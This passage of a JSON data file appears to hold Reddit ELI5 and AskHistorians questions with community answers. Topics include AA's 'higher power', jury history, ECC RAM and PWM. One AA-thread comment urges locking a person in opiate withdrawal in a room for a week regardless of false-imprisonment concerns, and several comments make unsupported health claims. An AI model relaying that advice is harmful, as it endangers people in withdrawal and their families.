to accept a \"higher power\" in rehab or meetings.", "Many organizations have developed something called a \"website\" where they answer questions like this. It is usually best to refer to that instead of relying on people's biased an anecdotal evidence to support their opinion. Here is a snippet from their website, more specifically, a book on their website that answers your question exactly:\n\n\"A.A. is not a religious society, since it requires no definite religious belief as a condition of mem- bership. Although it has been endorsed and approved by many religious leaders, it is not allied with any organization or sect. Included in its membership are Catholics, Protestants, Jews, members of other major religious bodies, agnos- tics, and atheists.\n\rThe A.A. program of recovery from alcoholism is undeniably based on acceptance of certain spiri- tual values. The individual member is free to inter- pret those values as he or she thinks best, or not to think about them at all.\n\rMost members, before turning to A.A., had already admitted that they could not control their drinking. Alcohol had become a power greater than themselves, and it had been accepted on those terms. A.A. suggests that to achieve and maintain sobriety, alcoholics need to accept and depend upon another Power recognized as greater than themselves. Some alcoholics choose to con- sider the A.A. group itself as the power greater than themselves; for many others, this Power is God \u2014 as they, individually, understand Him; still others rely upon entirely different concepts of a Higher Power.\n\rSome alcoholics, when they first turn to A.A., have definite reservations about accepting any concept of a Power greater than themselves. Experience shows that, if they will keep an open mind on the subject and keep coming to A.A. meetings, they are not likely to have too difficult a time in working out an acceptable solution to this distinctly personal problem.\"", "As a thelemite, believing quite rightly that the human will is the most powerful force for change in the world, AA just a priori doesn't work for me at all; it is sad to go in there and see the people that believe themselves to be completely powerless. I guess I don't know what their specific situations are. I started drinking a lot when I quit drugs to substitute I guess, now I don't drink as much. I stay away from liquor most of the time and I seem to stay out of trouble now.\n\nEdit: IMO AA is about submission to group thinking and surrendering your individuality in exchange for the emotional and spiritual support of that group, with the big bearded man in the sky the pretty much explicitly stated symbolic backdrop of that exchange. If you work it and it works for you, more power to you I guess", "You got a lot of anger in you.  For what its worth, I'm a new york transplant and only for another year.", "I've been to rehab. I know what step 3 says. The big book also mentions a higher power. That higher power could be a doorknob or a lightbulb. Not necessarily God. The point is that you are acknowledging that you are helpless over alcohol and cannot control it, but rather it controls you. It's a way of giving up control, and acknowledging it.", "But then it goes to saying a \"higher power\" well I know for Narcotics Anonymous(NA). So any Higher Power you believe in. Not necessarily God", "I am speaking personal experience when I say this; The idea of believing in a high power is placing your \"faith\" in something other than yourself, because yourself is what got you here. Some people are tasked to take care of plants and place responsibility and control in something else. This to establish a firm foundation in that area that needs fixing.   ", "Real answer (apologies if this has already been answered this way): AA, and in partnership, NA (Narcotics Anonymous) are (so I gather) mostly sponsored by churches, or a church-based group of people.\n\nMy brother's father (from my mum's second 'marriage') is a member of NA. His chapter (one associated with the VA in Detroit) is headed by a priest and some volunteers.\n\nAnd iirc, the 12 steps were coined by a Catholic priest before or during prohibition. ", "This whole \"but AA requires you to believe in God\" annoys me. It doesn't say \"you must attend church every Sunday\" or stipulate how you practice that belief. If it works for you to get sober, great; if it doesn't, try something else. \n\nThe early days of AA were dominated by Christian men and the program reflects that. It would do more so if not for the fact several of the founding group were atheists and toned the god language down a bit. (Jim Burwell was quite outspoken on this, \u201cI can\u2019t stand this God stuff! It\u2019s a lot of malarkey for weak folks. The group doesn\u2019t need it and I won\u2019t have it. To hell with it,\u201d )\n\nFor me, it's about acknowledging that there is something bigger and more important than me, I can't fix every problem on my own and I shouldn't act in a selfish and self absorbed way. It's about checking my ego and honestly exploring the issues that led to addiction and it has nothing to do with a wish granting fairy on a cloud. I'm fully aware of what God the founders and many addicts refer to, but I have space in my brain to look at the program as a whole and not get hung up on it. At the end of day, I think that the main reason AA works for some people is that it's a community that supports and allows a person to be heard in their struggle. \n\n", "I just wanted to say I didn't even know this about AA until now.\n\nThis explains a lot to me why my previously atheistic mother suddenly started going to church and became very religious after going to AA. ", "I think that people are focusing on the 12 steps which do over mention God.  The big book however goes into detail about how for some people in order to overcome the narcissism that is addiction you have to find inspiration outside of yourself.  In the language of the 20's that was \"higher power\".  Like anything it can be interpreted many ways.  Keep in mind there is no governing body and sometimes you have to shop around until you find a group that matches your values.  I'm an atheist and an alcoholic and I've found several groups that never made me feel conflicted and some others that did.", "Serious: For those people who need help overcoming an addiction: [Secular Sobriety](_URL_0_).\n\nTo those in this thread saying this is \"not a big deal\" and that people need \"something greater\" to overcome addiction, you are part of the problem. \n\nPeople need reality based support. AA wants you to become dependent on a god. Great strategy...exchanging one codependency for another. What happens when you build your sobriety on a fantasy and then you stop believing the fantasy? Furthermore, people need to build up their sense of self and worth. Not be told they are nothing and can't accomplish anything without this \"idea of god\". That philosophy is fucking sick and damaging! Let's not even get started on the fucked up narrative of \"once an alcoholic, always an alcoholic\". Is it any mystery then when so many fall off the wagon? If it works for you, great! But don't sneer at people seeking sobriety who don't want to buy the version of sobriety you're selling. Finally, the fact that our courts, in a secular republic, push AA is more than a little disturbing.", "The purpose as was explained to me is to find a power greater than yourself and accept that you are not god.  Because addiction. Is many things but it is highly selfish.  It's about control.  And what an addiction needs to not just admit, but accept, is that when he's in control of his life, it only leads him to jails, institutions, death or more trouble.    The most important part of that third commandment is \"as we understood god\" and many AA members who believe in God, when mentioning god they say something along the lines of \"a power saved my life and brought me back to sanity, I choose to call it God but you newcomers need to find this power.\"    He chooses to call it god.  You can call it whatever you want.  But you have to turn your willpower over and submit to and comply with life on life's terms.  No longer your terms cause it wasn't working out.   In a nurshell.   ", "It's important to realize that 12 step programs such as NA/AA have \"basically\" the same framework.  There are many people who don't practice any form of religion that have stayed sober/clean for many years in the fellowship.  I've also known people of all sorts of religions (Jews, Muslims, Christians, and even Atheists) that utilize the program.  It's more about spirituality.  Most people with the disease of addiction come into AA/NA spiritually bankrupt.  The program teaches us to live a spiritual life, not a religious one.  The steps were created back in the 1930's.  If you digress into the literature (Big Book of Alcoholic's Anonymous or Basic Text for Narcotics Anonymous) you'll find that God can mean whatever you want it to mean.  As mentioned earlier, it's important that you surrender to something \"greater than yourself.\"  \nI've stayed clean in NA for almost 2 years.  I'm grateful to the program and all the individuals that pulled me from the depths of hell.  ", "Recovering drug addict and alcoholic for 10 years now ; you do not have to accept God in order to stop drinking in AA. You are however encouraged to find a \"power greater than yourself\". For some people they used God as an acronym ; \"Group of Drunks\" meaning your home group or support network was your higher power or \"Good Orderly Direction\" i.e the program itself was your higher power. AA started out as the Oxford Group and at that time it was mandatory to essentially become a Christian otherwise you would not be allowed to stay in the program. It was not that successful and they begun changing it into what you see today. The primary point is that your way is obviously not working otherwise you would have stopped destroying yourself with alcohol by now so you need something/someone outside of yourself to help you. Most of us alcoholics and addicts are so arrogant and self reliant that in order to be successful we need the humbling experience of relying on something greater than ourselves to help us otherwise we stay sober and in recovery.  ", "It's quite simple. The physiological and mental addiction to substances is a bitch. There is a use / guilt cycle that occurs. You feel bad about something and use to feel better/feel nothing and then later you feel extreme guilt over having used again. The idea of God in this is to have someone that is always loving, always forgiving and who you can 'lean' on when things are hard. You've probablyheard the phrase Don't satly it if you wouldn't say it with your mother around.' But this is God. So if you're a believer and have a spiritual belief in God these rules may help. \n\nOk after saying all that. I know it to be true that the Steps program is non-effective. I know this as I've read many scientific articles on people getting clean with and without the Steps. The steps have no relavence to a persons ability to stop using. \n\nYet, these organizations are not willing to change. In the end, we are talking about a group of random alcohol and drug users meeting may times a week anonymously. It's a great place to score. \n\nSo, in a round about way God being in the steps doesn't matter.  Don't waste time or energy even thinking about the steps to recovery and if God should even be mentioned. The steps do NOT work. If you knew someone that was able to stay clean, they did it, not the steps.\n\nBeing physically and mentally addicted to things like alcohol (no personal reference on this) or opiates (I do have a reference on this) is like nothing you could ever explain. I have a medical condition and have had many surgeries. Sometimes when the condition acts up it causes a 10/10 pain non stop until Solumedrol is given. I was sent to a pain doctor and was put on oxycodone. After two years on it I wanted off. Holllly... Crap... You have no idea what withdrawls from opiates feels like. No I'm serious. If you haven't had them then don't even pretensld to know.\n\nI've always heard people say ' let them go and score, if they wanted to get clean they would. No mother f'er they wouldn't. Especially if in witdraws. If you have a loved one that isnhooked on opiates (NOT alcohol. As withdraws from alcohol litrrally kill you.) DO NOT let them out of your sight. Lock them in a room with a mattress tv and puke bucket I am not joking. There is no Willpower' in play here. Lock their ass up for a solidweek. I am not joking or being silly or sarcastic.youll hear things from them you'll never forget but you'll have them back in a week and then week after week they'll get better. If they are depressed and severly psychologically addicted they will likely use again without some outside therapy.\n\nJust to reiterate, if you have someone you actually love the worst thing you could do is think 'they will stop when they hit bottom or whatever' If you haven't gone through opiate withdraws you can Never understand.  They are not a real person during th withdraws. Their brain is freaking out. And would do almost anything to make it stop. Lock them up and deal with the false imprisonment crap later. \n\nI somehow have the COWS levels for Anxiety that are off the charts. Barely threw up. Sure I may have had the flu like symptoms. But the Panic Attak + Skin ripping anxiety why am I here I need to go.i need to go.. Something isn't right.. Something is wrong.. Make it stop. Please make it stop.. That is what i get. So those of you that ended up only having the poop and flu problems.. You are lucky. Great now I triggered my own anxiety. I'm telling you.. This anxiety/surreal/panick attacn stuff is no joke. There isn't any willpower involved here.", "This will get buried, but it is because of its history. AA got its start as part of the Oxford Movement, which was an evangelical Christian movement in the early 20th century. When too many alcoholics started showing up to Oxford Group meetings, the founders of AA spun it off.  It was started as a Christian movement.  It is a self-help movement and privately owned by the members. It has had no reason to change.\n", "Because it's easy to convert people who are in a bad situation, so they can increase the size of their sect.", "Mainly you are declaring you have no control over your will power. A higher power must help you", "The ritual for the fourth step involves kneeled prayer in front of a lit candle. It's a religious organization, that's why. ", "I have understood it to mean any higher power. Just call it the universe and you're good to go.", "AA is a religions organization and they believe that humans are weak and broken without god/jesus. The problems in our lives are the result of trying to do things without asking them for help so they think the only way to fix anything wrong with yourself is to accept them into your life. ", "It honestly think that it is abusive to pedal ideology to people that are not in the right mind set. You're vulnerable, desperate, and broken  we'll help you if you buy our product. That is how I see it. If they were pedaling the Islamic faith there would be public outcry demanding a group that helps people be shut down.", "cause drunk people will believe any stupid shit you tell them. source: my name is steve and i was an alcoholic", "Since it is ELI5 let me do that....\nMy dad has been sober for 20 years, is an athiest, and is very active in the program with new members. \nHe tells me he always has the new people follow the steps to a tee. In his opinion, they need to; they just got out of having their life RELY upon alcohol in order to cope with any sort of emotion. Now that this coping mechanism is gone, some freak out, literally. They feel hopeless and lost. God, however you want to put it/him, is hope for a lot of these guys. My dad will have more existential conversations about God with those 'pigeons\" who ask, but generally these guys fresh in recovery are scared and lost. \nWith all of that being said my dad always says that AA isn't for everyone. It worked for him, but some people just don't like it. Carry on. ", "I'm not a religious person by any means, but it bugs me how much everyone is hating on AA. I used to think AA just took advantage of vulnerable people to manipulate them into becoming Christians. But then I started working in the addiction field, and it's really astounding how much it helps people. When you meet someone with an alcohol use disorder, with no job, ostracized by their family and friends, nothing that really gets them out of bed in the morning, so to speak, these people really benefit having the idea of God, that maybe there is more than just their shitty life worth living for. Not to say everyone who abuses alcohol falls in this category, but for this aforementioned type of person, I'm glad they have something, anything, that helps them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], ["http://www.psmag.com/books-and-culture/75-years-alcoholics-anonymous-time-admit-problem-74268"], [], ["https://en.wikipedia.org/wiki/Oxford_Group"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=ao8L-0nSYzg"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.huffingtonpost.com/2014/10/15/barry-a-hazle-jr-atheist-settlement_n_5987630.html"], [], [], [], [], [], [], [], [], [], [], ["http://www.sossobriety.org"], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "72colz", "title": "Was the all-male jury in the 1957 film 12 Angry Men representative or did it already seem anachronistic at the time? Was the right (and obligation) of women to serve on juries a widely discussed topic like suffrage?", "selftext": "According to Wikipedia, by 1957 women were eligible for jury service in all states apart from Alabama, South Carolina and Mississippi. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/72colz/was_the_allmale_jury_in_the_1957_film_12_angry/", "answers": {"a_id": ["dni77k7"], "score": [76], "text": ["I can't comment on the popular discussion, but can offer a look at the Supreme Court decisions that eventually changed the situation.\n\n\"Eligible to serve\" doesn't tell the entire story.  New York and other states offered women the option not to serve as jurors, a privilege not offered to men.  The Supreme Court decided in *Fay v. New York* (1947) that this practice violated neither the Due Process nor Equal Protection Clauses.  Florida law required women who wished to be jurors to add their names to a special list; unsurprisingly, few did.  In *Hoyt v. Florida* (1961), the Supreme Court let that stand, citing *Fay.*  Justice  Harlan wrote that, \u201c[d]espite the enlightened emancipation of women from the restrictions and protections of bygone years, and their entry into many parts of community life formerly considered to be reserved for men, woman is still regarded as the center of home and family life.\u201d\n\nFinally, in *Taylor v. Louisiana* (1975), the Court ruled that \u201cit is no longer tenable to hold that women as a class may be excluded or given automatic exemptions based solely on sex if the consequence is that criminal jury venires [panels] are almost totally male.\u201d "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "497mp7", "title": "why do judges have gavels? what does it symbolize?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/497mp7/eli5_why_do_judges_have_gavels_what_does_it/", "answers": {"a_id": ["d0pmhcq", "d0psdme", "d0ptoty"], "score": [4, 17, 12], "text": ["AskHistorians had a discussion about this-\n\n[/r/AskHistorians - Why do judges bang a gavel?](_URL_0_)", "after 15 years of litigation practice and another 8 years when i was a traffic court judge, i have still never seen a judge bang his or her gavel on the bench.  ", "Now I'm no expert, on anything, but I'd guess it symbolizes an easy way to make a loud noise."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/15p2bm/why_do_judges_bang_a_gavel/"], [], []]}
{"q_id": "17rs7b", "title": "Would a perfect ball rolling on a perfect plane in a non-vacuum environment make a sound?", "selftext": "As I understand, the sound a ball makes when rolling on a surface is caused by tiny impacts between irregularities on the surface and the ball. If those irregularities were eliminated, but the atmosphere (or any sound-conducting medium) were preserved, would the rolling ball make a sound?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17rs7b/would_a_perfect_ball_rolling_on_a_perfect_plane/", "answers": {"a_id": ["c888ruz", "c888ti6", "c88e0dc", "c88i8gf"], "score": [17, 2, 2, 2], "text": ["yes. I would have a wake which would be observed as \"sound\" (IE, radiating pressure waves). \n\nWhether it would be audible or not would depend on the ball, fluid, and speed. ", "As long as gravity were maintained, there'd be some level of friction (unless \"perfection\" implies a complete lack of friction inherently). If there is friction, the two surfaces will transmit energy to each other, which should cause some vibration, which could be measured as sound as that vibration was then transferred to the surrounding medium. \n\nIf this was a zero-friction situation, the rolling wouldn't necessarily create sound because of the interaction between the surfaces, but the movement of the ball through the medium would cause pressure changes from medium displacement, which is also sound.", "The ball would not roll because of a zero contact area with undefined pressure.\n\nI read this somewhere in an old question\n\n\n**edit, found it:**\n\n[If a perfectly spherical ball is sitting on a perfectly flat surface, what is the size of the contact area? Would it not be infinitely small?](_URL_0_)\n\n > Perfect sphere and perfect plane would be perfectly smooth at all levels of magnification, thus there will be a single point of contact, resulting in zero area and undefined pressure.\n\n\n > With zero contact area, this ideal sphere is not rubbing against any surface it is placed on. Electromagnetic and possibly other forces might resist the motion, but friction will not.\n\n > This also means that if you push on the ball perfectly towards the center of mass, it will not start rolling, because the bottom of the sphere (against the surface) can move just as freely as any other point on the sphere, so it will only cause translational motion.\n\n", "No, but the ball would not be rolling. It would slide down the plain because the very act of rolling is caused by friction.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/askscience/comments/quqny/if_a_perfectly_spherical_ball_is_sitting_on_a/"], []]}
{"q_id": "3evhcw", "title": "pleasure from destroying inanimate objects that don't work.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3evhcw/eli5_pleasure_from_destroying_inanimate_objects/", "answers": {"a_id": ["ctis4qd", "ctiweag"], "score": [20, 3], "text": ["Scenario 1: It's broke, you're angry because it's broke. Violent acts relive stress, breaking things is a violent act.\n\nScenario 2: Breaking things is fun.", "I think it's called Catharsis.\n\nIt's an activity that helps you channel your frustration, while at the same time it gives you the feeling that you're \"punishing\" the object for not working. If you're angry enough, lashing out against the object will make your brain release endorphins (perhaps because of adrenaline?) which is what makes you feel good after.\n\nIt doesn't work for everyone, though. For some people the violent outburst doesn't give them a feeling of satisfaction, so they end up frustrated, tired (if breaking the item works up a sweat) and with a broken item. :("]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4njwld", "title": "why do my hands and fingers feel really weak sometimes for no reason?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4njwld/eli5_why_do_my_hands_and_fingers_feel_really_weak/", "answers": {"a_id": ["d44mjry", "d44mqbd", "d44mw0n", "d44n611"], "score": [9, 6, 27, 3], "text": ["Could it be related to the same mechanisms that paralyze most of our major muscles during sleep?\n\nThe reason I ask is that this used to happen to me every morning when I was a kid. For at least a half hour after waking up nearly every day, my arms (and especially hands/fingers) were really weak. I could barely hold a fork at breakfast. I've always had a hard time waking up though, and thought this was just a normal part of the \"waking\" process, and everyone else just endured it better than I did. As an adult it rarely happens now though. Only when I've not slept very well, and only lasts a few minutes at worst. Only time I've encountered a similar feeling was after waking up from surgery, with sedatives still wearing off.", "I've had this same problem, sometimes as extreme as my full arms and/or legs. My family has a problem with blood sugar levels, particularly my mother who's diabetic, and we've all experienced extreme fatigue to the point of almost-paralysis because our blood sugars have dropped too low.", "So this is more like a medical question. It may be related to many many things that could be happening in your body, innocent and less innocent. You should really go and get checked out by a doctor. \n\nReddit is not a doctor.\n\nGoogle is also not a doctor.\n\nGo see a doctor.", "If you're asking a medical question like this on reddit you're going to get the wrong answer. Also I never experience this except when I've just woken up for about 2 minutes. Other than that I cannot imagine this is a good thing to happen randomly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "bm3c2c", "title": "how do machinery such as diggers transfer power to the tracks or wheels when the top half spins?", "selftext": "I often wandered this and couldn't find any answers. Am I correct in thinking that the hydraulic pumps are located on the top half of the machinery? If yes, how do you get the fluid to the tracks or wheels?\n\n*Edit*: just to prevent confusion, I'm aware you can't use ordinary hoses as they will begin to kink and snap if you rotate the digger too much", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bm3c2c/eli5_how_do_machinery_such_as_diggers_transfer/", "answers": {"a_id": ["emtgvon", "emthfhc"], "score": [3, 15], "text": ["_URL_0_\nThis guy shows it pretty well", "Caterpillar trained mechanic here.\nModern era excavators do have hydraulically powered tracks, along with all the other moving parts.\nThe engine is only there to provide power to the hydraulic pumps.\nThere is a component called a rotary manifold that allows the hydraulic fluid to flow through multiple separate galleries while being able to rotate indefinitely via its two separate halves.\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=oUVE2PIV5_k"], ["https://www.google.com.au/url?sa=t&amp;source=web&amp;rct=j&amp;url=https://m.youtube.com/watch%3Fv%3DzZ-Dk-gk1nw&amp;ved=0ahUKEwiRyJjA34viAhVo8XMBHfy8CLkQo7QBCCUwBA&amp;usg=AOvVaw3AYY5JWsXeesnWVk8vpiGM"]]}
{"q_id": "1tlr5m", "title": "in regards to firearms", "selftext": "Whether it be in video games, or in real life; there are always numbers, and graphs depicting a given firearms capabilities. So, for example, in Battlefield 4(I say this wholly understanding that it is a *video game*, and thus not real life) every weapon category has weapons who's performance is functionally identical.  So, the question, why include these things, and why do game developers bother including weapons who are functionally identical to others within the market?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tlr5m/eli5_in_regards_to_firearms/", "answers": {"a_id": ["ce972ul", "ce98vz0"], "score": [5, 2], "text": ["A lot of differences between weapons are in areas that don't feature so much in games. For example the cost, the weight, the distribution of the weight, whether or not the ammo is the same as for other weapons, the weight of the ammo, how easy it is to take apart and clean, how often it requires cleaning, etc.\n\nEven on areas which are shown in game stats (accuracy, damage) there's more or less variation than shown in games. In accuracy there's all sorts of differences between weapons that appear identical (bolt-action rifle users are always harping on about accuracy). Meanwhile, in terms of damage, in the real-world there's a lot less variation than in games, as almost any bullet (maybe not .22 rimfire) is capable of ending someone. ", "Cosmetic choice. Exactly the same function, completely different look. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "98ec83", "title": "Which is the most brutal picture in history?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/98ec83/which_is_the_most_brutal_picture_in_history/", "answers": {"a_id": ["e4fca9z"], "score": [2], "text": ["This submission has been removed because it violates the [rule on poll-type questions](_URL_0_). These questions do not lend themselves to answers with a firm foundation in sources and research, and the resulting threads usually turn into monsters with enormous speculation and little focussed discussion. Questions about the \"most\", the \"worst\", or other value judgments usually lead to vague, subjective, and speculative answers.  For further information, please consult [this Roundtable discussion](_URL_1_).\n\nFor questions of this type, we ask that you redirect them to more appropriate subreddits, such as /r/history or /r/askhistory."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22poll.22-type_questions", "https://www.reddit.com/r/AskHistorians/comments/48hjn0/rules_roundtable_6_the_no_polltype_questions_rule/"]]}
{"q_id": "6dwdxl", "title": "how can i show someone that their use of sources are of non substantiated bullshit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6dwdxl/eli5_how_can_i_show_someone_that_their_use_of/", "answers": {"a_id": ["di5vfsp"], "score": [3], "text": [" > For those who believe, no proof is necessary. For those who don't believe, no proof is possible.\n\nStuart Chase\n\nAt some point you're going to have to come to terms with that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9h1q3m", "title": "what benefits come out of ecc ram?", "selftext": "and would I see any advantages as a regular desktop user and not an enterprise?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9h1q3m/eli5_what_benefits_come_out_of_ecc_ram/", "answers": {"a_id": ["e68isu0", "e68iuiz", "e68ixm0"], "score": [4, 2, 3], "text": ["It basically gives some protection from data corruption when reading and writing to the RAM. It does come at a cost though, both monetary and performance. It's generally more expensive than non ECC, and the motherboard and processor need to support it. Plus it's slightly slower in general.\nIt depends on what you mean by enterprise. I use it in my NAS, webserver, and router. While you wouldn't get any benefits on a typical workstation or gaming computer, a NAS would gain a benefit as would anywhere you need to ensure data integrity.", "ECC ram uses an extra little bit of ram to add a check to make sure the information stored is good. It's like in math when you have to show your work. The ECC is the work. In my opinion no, RAM is pretty good today especially if you consider DDR4 and its speeds it's not beneficial to the average desktop user. Also given the avarafe life of a desktop computer, yours could be different, it just doesnt make sense with the added cost of the ram and the reduced speed. I say this because most gaming ram is higher performance due to its overclocking ability. Somone may have a different idea though. ", "It keeps a register (basically a second copy of what's being stored in the RAM) that provides protection against data corruption that can occur periodically in volatile memory due to solar flares, power surges, flipped bits, etc.  \n  \nThat kind of corruption is exceedingly rare, and as a home user you're EXTREMELY unlikely to see any benefit from ECC memory.  The kinds of systems that benefit from it the most are things like database servers and workstations for data analytics that are processing terabytes of data through their RAM for extended periods of time.  The folks on /r/datahoarder have a hard on for it because, well, they're hoarders, but a typical home system that's used for looking at memes and gaming will probably actually be hampered by the lower clock speeds."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bj29hq", "title": "how does pwm (pulse width modulation) work?", "selftext": "Im looking to get into Arduino and frequently see the term PWM used in projects that use Arduino but with an extremely basic knowledge of electronics i'm finding online explanations difficult to understand.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bj29hq/eli5_how_does_pwm_pulse_width_modulation_work/", "answers": {"a_id": ["em4qs08", "em4qy13", "em4suki", "em54tfw", "em55u4i", "em583yu"], "score": [4, 18, 3, 3, 3, 9], "text": ["PWM is basically sending different *average* voltages over time when you only actually have one or two voltages to work with (like 0 and 1 in binary).\n\nFor example, if you can only send 10 volts, and you need to provide 5 volts over 1 second, then you send 10 volts for half a second.\n\nThe 'width' of the pulse is how long you send it for.\n\nI'm not familiar with arduino programming, but I imagine PWM is a way to send variable voltages using only a binary source, which is easy to code as long as your program/computer's timekeeping is good.", "It's like playing with a ceiling fan switch: the speed of the fan is not going to drop instantly down to zero the instant you turn the switch off, nor is it going to get to max speed the second you turn it on. So, using this delay, you can switch it on and off, on and off, making it faster or slower, to make it go the speed you want at the time you want. (Dammit, driving was a much better example but oh, well.)\n\nSuppose you want the current delivered to a component to be in the form of a particular signal (maybe a sine-wave of so-and-so frequency, or going up then down, etc.)\n\nBut the only control you have is to switch the power supply on and off.\n\nYou can switch the supply on and off very fast, in a pattern, rapidly sometimes and slower other times, to effectively controlledly 'push' the average signal higher and lower in discrete steps as needed.\n\nThe switching on-and-off is the pulse. The duration for which is the pulse is held is the pulse-width. And modulation is the function of all this: to end up with the signal you want.", "Look at a microwave oven. The thing is, you can't easily regulate power of a MW oven. So, what does it do when you set a lower power. Well, listen to it. You hear it humming for a while, then silten, then humming, silent and so on. That is what they do. If you, for example, set it to 75%, it runs (for example) for 3 seconds, the switch off the emitter for 1 second, and repeat this.\n\nThis is PWM. Instead of regulating output finely, you turn it full on, then full off, and regulate the power out using the ratio between time on and time off.\n\nThis is usually done for one or more of several reasons:\n\n* Thing is controlled by a computer, and computers like simple on/off.\n* Thing is hard to control finely, it's much easier to just go full on/off. For example, the heater in my house, which works on wood pellets, either burns as efficiently as possible, or is off.\n* The process you are regulating is quite slow. If you are, say, heating a house, there is an inherent slowness in the system, so it isn't noticeable if the control \"flickers\".", "Other people have explained what PWM is, so here's some basic things that it's useful for in the Arduino world:\n\nLED brightness: You can't* dim an LED; it's either on or off. So if you want to dim it, you need to make it flicker really fast. The longer that it's on each pulse (duty cycle), the brighter the LED is.\n\n*You can run LEDs at different brightnesses, to a point, but it's inefficient and you don't get a very good range. Better to use PWM.\n\nMotor speeds: By adjusting the duty cycle, you can change the speed of the motor. (Be careful, motors can draw a lot of current, and you can overload the output capacity of the Arduino.)\n\nBasic audio: There's a tone() library that extends the built-in PWM featured to let you control the frequency instead of the duty cycle. This can be used to generate basic square-wave sound output to a piezo speaker.", "In PWM a transistor is used to rapidly switch a fixed voltage on and off, typically on a fixed but sometimes variable \"carrier\" frequency. The on time of the switch is the width (time duration) of the \"pulse\". The width of the pulse is set to different time duration's (modulated) to provide a percentage of the power that would be available if the switch was left on 100% of the time. For example if the switching occurs 10,000 times per second (10 kilohertz) and the width of the pulse is set to 1/5000 of a second, 50% power is delivered.\n\nFor industrial motor drive applications the carrier frequency may also be varied to prevent harmonics with the stator, but the concept is the same.", "Have you ever played video games with the keyboard or a D-Pad to move? If you want to run full speed you hold the button down. If you want to run half speed, you tap the button on and off so that it's down half the time and up half the time. Your character has some momentum so instead of going and stopping over and over they just move at a slower rate. That's PWM."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "a5u7a7", "title": "if objects don't \"touch\" each other on a mulecular level, how does sound happen when two objects hit each other?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a5u7a7/eli5_if_objects_dont_touch_each_other_on_a/", "answers": {"a_id": ["ebp8f8x", "ebp931f", "ebpa6bz", "ebpdkvz", "ebpl6jb", "ebpnjks"], "score": [9, 7, 3, 2, 8, 5], "text": ["I am in no way shape or form qualified to answer this but I'll give it a shot. Although atoms and molecules may not technically touch, because if the negative charges of electrons they still interact like they do. So if we take a clap for example, as your hand get closer and colloide, they're still pushing other molecules of oxygen and nitrogen out of the way which still push other molevules which push other molecules which... And we get a sound wave. For most situation, atoms not being able to touch is just a bit of trivia, because they still interact with each other (usually) as if they are. ", "\"Molecules don't touch\" is based on the fact that an atom is made of a tiny tiny *nucleus* of protons and neutrons, surrounded by the *electron cloud* which is basically a vacuum with a few electrons. \n\nThe forces inside this electron cloud are so strong that nothing else can enter it. For all intuitive reasoning, it acts as a solid ball, and only interacts with the environment through the chemical reactions we know. \n\n", "Know how you're \"not touching\" your sister in the car, but still have a finger *just* next to her face? \n\nThat's how molecules work.  Get them close enough and they'll repel each other so they never actually touch.  \n\nHowever, that distance will be measured on a molecular scale. To the naked eye, they'll be next to each other. ", "Things \"not touching\" is a thing observed at a much smaller scale than the one sound happens in, and i'm sure other comments will explain how that works. Objects don't make sound because because they touch each other, but because they move the air around them. Htting objects together makes both of them vibrate (that's a fancy word for wiggling fast), which then makes waves in the air, much like how a speedboat make waves on the beach.\n\nThere are other ways of making sound too: blowing at the edge of a bottle a certain way makes the air inside vibrate, producing sound. Here, no touching is necessary. This is how flutes and organs also work.\n\nA loudspeaker also makes sound. What it does is simply pushing the air really fast, to make the soundwaves we want it to. Likewise, the objects hitting each other also push the air when they vibrate. If you were to see a drum, a cymbal, or a guitar string in slow motion, you can actually see the vibrations that cause the sound, that are normally too fast for your eyes to see  This looks really cool, look it up on YouTube.\n\nI tried to keep this short, so please comment of you have any questions.", "\"Not touching\" is an oversimplification based on a technicality on the fairly basic idea of what \"touching\" is.\n\nThe truth is, We can consider Molecules touching if their forces are interacting with each others. If you consider the entire AREA of EFFECT as the atom then they are indeed touching and interacting and capable of compressing air between them.\n\nSound, which is a compression wave and an energetic state, being compressed rapidly by two things colliding will still happen when you consider that molecules still interact with each others.\n\ntl;dr: Consider the whole and not the technicality and of course sound still works.", "This is an oversimplification but you know how you can push a magnet with another magnet with the same poles facing each other even though they don't touch? That's basically what atoms do to each other. "]}, "title_urls": [], 